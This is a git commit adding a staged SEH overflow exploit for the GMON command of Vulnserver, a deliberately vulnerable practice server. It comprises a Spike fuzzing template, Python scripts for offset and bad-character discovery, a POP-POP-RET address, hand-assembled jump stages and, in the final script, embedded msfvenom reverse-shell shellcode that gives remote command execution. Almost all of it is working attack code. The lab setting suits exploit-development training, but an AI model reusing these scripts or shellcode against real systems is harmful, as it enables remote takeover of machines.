add GMON SEH exploit

Author: MarcoLugo

GMON_SEH/0_spikeFuzzer.spk

@@ -0,0 +1,13 @@
+/////////////////////////////////////////////////////////////////////////////////////////
+// Title: Vulnserver GMON command fuzzing template for Spike
+// Author: Marco Lugo
+// Usage: generic_send_tcp 192.168.x.x 9999 0_spikeFuzzer.spk 0 0
+//
+//              To get Stephen Bradshaw's Vulnserver, visit:
+//              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+/////////////////////////////////////////////////////////////////////////////////////////
+
+s_readline(); // Get line from server and print it
+s_string("GMON "); // Add "SEH " to string
+s_string_variable("CONTENT"); // Add fuzzed string and send
+sleep(1); // Wait one second

GMON_SEH/1_findOffsetEIP.py

@@ -0,0 +1,30 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: use cyclical string pattern to identify exact offset to overwrite EIP.
+#              After passing the exception, EIP is overwritten by 6D45366D
+#              which amount to 3499 bytes (so far the same as LTER SEH)
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/' # Found by fuzzing with Spike
+
+# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5050
+# Overwrites EIP with 6D45366D after passing exception
+pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2G'
+buffer += pattern
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()
+
+

GMON_SEH/2_confirmOffsetEIP.py

@@ -0,0 +1,29 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: confirm that 3499 is the right offset to overwrite the EIP register
+#              EIP is be overwritten by 4 42s (Bs), we own EIP.
+#
+#              It is a SEH overwrite, and POP-POP-RET would take us to our buffer, which is
+#              only "DDDDBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCC" at 0x00B8EE4C
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/' 
+pattern = '\x41'*1999 + '\x44'*1500 + '\x42'*4 + '\x43'*1697
+buffer += pattern
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()
+
+

GMON_SEH/3_findBadchars.py

@@ -0,0 +1,41 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: check for bad characters (everything from 0x01 to 0xFF goes through). 
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+
+badchars=(
+"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
+"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
+"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
+"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
+"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
+"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
+"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
+"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
+"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
+"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
+"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
+"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
+"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
+"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
+"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
+"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/' 
+pattern = '\x41'*1999 + badchars + '\x44'*(1500-len(badchars)) + '\x42'*4 + '\x43'*1697
+buffer += pattern
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()

GMON_SEH/4_jumpToStack.py

@@ -0,0 +1,29 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: find reliable way to jump to the stack.
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+import struct
+
+pop_pop_ret = struct.pack('<I', 0x625010B4) #essfunc.dll
+#pop_pop_ret = struct.pack('<I', 0xCCCCCCCC)
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/'
+pattern = '\x41'*1999 + '\x42'*1500 + pop_pop_ret + '\x43'*1697
+buffer += pattern
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()
+
+

GMON_SEH/5_executeFirstStage.py

@@ -0,0 +1,28 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: execute first stage -> payload jump forward. The jump gives us control over
+#	       28 bytes.
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+import struct
+
+pop_pop_ret = struct.pack('<I', 0x625010B4) #essfunc.dll
+first_stage = '\xEB\x06\x41\x41' # jump forward, hop over the island
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/' 
+pattern = '\x41'*1999 + '\x42'*1496 + first_stage + pop_pop_ret + '\x43'*1697
+buffer += pattern
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()

GMON_SEH/6_executeSecondStage.py

@@ -0,0 +1,38 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: execute second stage -> use the 28 byte space to jump to 3rd stage payload.
+#	       3rd stage payload will begin at 0x00B8F238
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+import struct
+
+pop_pop_ret = struct.pack('<I', 0x625010B4) #essfunc.dll
+first_stage = '\xEB\x06\x41\x41' # jump forward, hop over the island
+#00B8FFE6   2D 42425942      SUB EAX,42594242
+#00B8FFEB   2D 42597842      SUB EAX,42785942
+#00B8FFF0   2D 4472757A      SUB EAX,7A757244
+#00B8FFF5   FFE0             JMP EAX
+second_stage = ('\x2D\x42\x42\x59\x42' #SUB EAX,42594242 (EAX was already zero)
+		'\x2D\x42\x59\x78\x42' #SUB EAX,42785942
+		'\x2D\x44\x72\x75\x7A' #SUB EAX,7A757244
+		'\xFF\xE0') #JMP EAX -> JMP to 0x00B8F238
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/'
+buffer += '\x41'*1999 + '\x42'*1496 + first_stage + pop_pop_ret
+buffer += second_stage + '\x43'*(1697-len(second_stage))
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()
+
+

GMON_SEH/7_executeThirdStage.py

@@ -0,0 +1,65 @@
+#########################################################################################
+# Title: Vulnserver GMON command SEH exploit
+# Author: Marco Lugo
+# Description: execute third stage payload -> reverse shell
+#
+#              To get Stephen Bradshaw's Vulnserver, visit:
+#              http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
+#########################################################################################
+
+import socket
+import sys
+import os
+import struct
+
+pop_pop_ret = struct.pack('<I', 0x625010B4) #essfunc.dll
+first_stage = '\xEB\x06\x41\x41' # jump forward, hop over the island
+#00B8FFE6   2D 42425942      SUB EAX,42594242
+#00B8FFEB   2D 42597842      SUB EAX,42785942
+#00B8FFF0   2D 4472757A      SUB EAX,7A757244
+#00B8FFF5   FFE0             JMP EAX
+second_stage = ('\x2D\x42\x42\x59\x42' #SUB EAX,42594242 (EAX was already zero)
+		'\x2D\x42\x59\x78\x42' #SUB EAX,42785942
+		'\x2D\x44\x72\x75\x7A' #SUB EAX,7A757244
+		'\xFF\xE0') #JMP EAX -> JMP to 0x00B8F238
+
+#msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b '\x00' -f c
+third_stage = (
+"\xb8\xbb\xb2\x93\xd7\xdb\xd2\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
+"\x52\x83\xef\xfc\x31\x47\x0e\x03\xfc\xbc\x71\x22\xfe\x29\xf7"
+"\xcd\xfe\xa9\x98\x44\x1b\x98\x98\x33\x68\x8b\x28\x37\x3c\x20"
+"\xc2\x15\xd4\xb3\xa6\xb1\xdb\x74\x0c\xe4\xd2\x85\x3d\xd4\x75"
+"\x06\x3c\x09\x55\x37\x8f\x5c\x94\x70\xf2\xad\xc4\x29\x78\x03"
+"\xf8\x5e\x34\x98\x73\x2c\xd8\x98\x60\xe5\xdb\x89\x37\x7d\x82"
+"\x09\xb6\x52\xbe\x03\xa0\xb7\xfb\xda\x5b\x03\x77\xdd\x8d\x5d"
+"\x78\x72\xf0\x51\x8b\x8a\x35\x55\x74\xf9\x4f\xa5\x09\xfa\x94"
+"\xd7\xd5\x8f\x0e\x7f\x9d\x28\xea\x81\x72\xae\x79\x8d\x3f\xa4"
+"\x25\x92\xbe\x69\x5e\xae\x4b\x8c\xb0\x26\x0f\xab\x14\x62\xcb"
+"\xd2\x0d\xce\xba\xeb\x4d\xb1\x63\x4e\x06\x5c\x77\xe3\x45\x09"
+"\xb4\xce\x75\xc9\xd2\x59\x06\xfb\x7d\xf2\x80\xb7\xf6\xdc\x57"
+"\xb7\x2c\x98\xc7\x46\xcf\xd9\xce\x8c\x9b\x89\x78\x24\xa4\x41"
+"\x78\xc9\x71\xc5\x28\x65\x2a\xa6\x98\xc5\x9a\x4e\xf2\xc9\xc5"
+"\x6f\xfd\x03\x6e\x05\x04\xc4\xee\xda\x06\x15\x79\xd9\x06\x14"
+"\xc2\x54\xe0\x7c\x24\x31\xbb\xe8\xdd\x18\x37\x88\x22\xb7\x32"
+"\x8a\xa9\x34\xc3\x45\x5a\x30\xd7\x32\xaa\x0f\x85\x95\xb5\xa5"
+"\xa1\x7a\x27\x22\x31\xf4\x54\xfd\x66\x51\xaa\xf4\xe2\x4f\x95"
+"\xae\x10\x92\x43\x88\x90\x49\xb0\x17\x19\x1f\x8c\x33\x09\xd9"
+"\x0d\x78\x7d\xb5\x5b\xd6\x2b\x73\x32\x98\x85\x2d\xe9\x72\x41"
+"\xab\xc1\x44\x17\xb4\x0f\x33\xf7\x05\xe6\x02\x08\xa9\x6e\x83"
+"\x71\xd7\x0e\x6c\xa8\x53\x3e\x27\xf0\xf2\xd7\xee\x61\x47\xba"
+"\x10\x5c\x84\xc3\x92\x54\x75\x30\x8a\x1d\x70\x7c\x0c\xce\x08"
+"\xed\xf9\xf0\xbf\x0e\x28")
+
+
+target_ip = sys.argv[1]
+buffer = 'GMON /.:/'
+buffer += '\x41'*3 + third_stage + '\x41'*(1999-3-len(third_stage)) + '\x42'*1496
+buffer += first_stage + pop_pop_ret + second_stage + '\x43'*(1697-len(second_stage))
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((target_ip, 9999))
+sock.recv(1024)
+sock.send(buffer)
+sock.close()
+
+